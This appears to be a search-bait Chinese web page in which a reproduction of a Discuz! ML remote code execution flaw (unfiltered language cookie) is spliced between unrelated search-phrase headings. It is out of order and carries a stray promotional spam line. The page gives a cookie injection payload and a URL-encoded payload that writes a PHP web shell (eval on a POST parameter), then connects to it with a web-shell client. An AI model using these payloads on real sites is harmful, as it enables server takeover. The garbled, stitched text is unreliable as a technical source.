目录:
1.discuz database error
2.discuz官网
3.discuzQ
4.discuz应用中心
5.discuz什么意思
6.discuz论坛源码
7.discuz安装教程
8.discuz怎么读
9.discuz3.5
10.discuz
1.discuz database error
一、漏洞描述该漏洞存在discuz ml(多国语言版)中,cookie中的language可控并且没有严格过滤,导致可以远程代码执行二、漏洞影响版本Discuz! ML V3.2Discuz! ML V3.3
2.discuz官网
Discuz! ML V3.4三、漏洞环境搭建官网下载Discuz! ML V3.4,下载地址: http://discuz.ml/download将压缩包解压到phpstudy网站根目录,浏览器访问upload目录开始安装
3.discuzQ
然后就是一直点击下一步就可以了,直到完成安装
4.discuz应用中心
四、漏洞复现漏洞存在的位置/upload/source/module/portal/portal_index.php,使用
5.discuz什么意思
名
6.discuz论坛源码
跟进DISCUZ_LANG函数,发现从cookie中取language的值给$lng
7.discuz安装教程
继续浏览代码,发现把$lng的值赋给DISCUZ_LANG了
8.discuz怎么读
到此为止,整个漏洞分析过程已结束,过程如下:外部参数$最终include_once函数包含一下导致了代码注入(执行了插入恶意代码的缓存文件名)surprise! 500G网络安全学习资料,私信"安全"免费领取。
9.discuz3.5
测试漏洞,随便点击一个页面,抓包,将Cookie中的xxx_language参数值改为’.phpinfo().’,发现成功执行了代码
10.discuz
查看缓存文件,发现缓存文件名被修改如下
getshell8.1尝试上传一个shell,构造payload,如下:.file_put_contents(shell.php,).执行提示错误,可能是编码的原因
8.2、尝试对payload进行全部编码,失败,只有使用如下payload才能成功%27.+file_put_contents%28%27shell.php%27%2Curldecode%28%27%253c%253fphp+%2520eval%28%2524
_%2550%254f%2553%2554%255b%2522cmd%2522%255d%29%253b%253f%253e%27%29%29.%27
8.3、查看是否成功上传shell.php,发现成功上传
8.4、菜刀连接